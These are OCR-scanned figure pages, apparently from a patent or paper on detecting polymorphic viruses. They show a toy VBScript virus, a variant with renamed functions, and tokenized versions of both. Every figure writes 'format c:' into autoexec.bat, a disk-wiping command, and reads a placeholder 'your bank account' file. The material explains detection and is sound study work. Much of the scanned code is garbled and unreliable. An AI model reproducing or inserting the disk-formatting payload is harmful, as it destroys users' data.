EVOLUTION OF COMPUTER VIRUSES 
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SCRIPT SOURCE CODE 



Private fso 
Sub F1 

Set file =fso . OpenTextFlle ("your bank account", ForReading, True) 
str = file . ReadLlne 
file . Close ( ) 
End Sub 

Sub F2 

Set file =fso . CreateTextFile ("c:\autoexec.bat", True ) 
file . WriteLine ("format c:" ) 
file . Close ( ) 
End Sub 



On Error Resume Next 

Set fso=CreateObject ("Scripting. FileSystemObject" ) 
Call F1 
Call F2 

FIG. 5A 



TOKENIZED SOURCE CODE 

Private fso 
Sub _F1 

Set file = fso . OpenTextFile ( "your bank account" . ForReading . True ) 
str = file^ Read Line 
file ■ Close { J 
End Sub 

Sub F2 

Set file = fso . CreateTextFile ( "c:\autoexec.bat" . True ) 
file ■ WriteLine ( "format c:" } 
file ^ Close ( ) 
End Sub 



On Error Resume Next 

Set fso = CreateObiect ( "Scripting.FileSvstemObiect" ) 
Call El 
Call JF2 



FIG. 5B 
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POLYMORPH SCRIPT SOURCE CODE 



Private obj 
Sub Func2 

Set file = obj. CreateTextFile ("c:\autoexec.bat", True ) 
file . Write Line ("format c:" ) 
file . Close ( ) 
End Sub 

Sub F1 

Set file = obj . OpenTextFile ("your bank account", ForReadlng, True) 
str = file . ReadLlne 
file Close ( ) 
End Sub 



On Error Resume Next 

Set obj = CreateObject ("Scripting. FileSystemObject" ) 
Call F1 
Call Func2 

FIG. 9A 



TOKENIZED POLYMORPH SOURCE CODE 

Private obj 
Sub Func2 

Set file = obi . CreateTextFile ( "c:\autoexec.bat" , True } 
file ■ WriteLine ( "format c:" I 
file ■ Close £ _i 
End Sub 

Sub El 

Set file = obj ^ OpenTextFile £ "vour bank account" ^ ForReadlng ^ True ) 
str^fNe^ ReadLine 
file ^ Close £ } 
End Sub 

On Error Resume Next 

Set obj = CreateObject £ "Scriptina.FileSvstemObiect" ) 
Call El 
Call Func2 



FIG. 9B 
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